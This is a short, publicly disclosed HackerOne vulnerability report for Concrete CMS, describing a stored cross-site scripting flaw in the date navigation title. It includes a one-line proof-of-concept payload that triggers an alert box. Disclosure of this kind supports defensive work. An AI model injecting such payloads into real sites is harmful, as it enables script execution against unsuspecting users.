Concrete CMS · Report #50627
Stored XSS in title of date navigation
Validstatus
3upvotes
8 Jul 2015disclosed
How it was found
XSS payload can be executed and saved permanently in title of date navigation.
Poc code: "><img src=x onerror=alert(1)>
This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original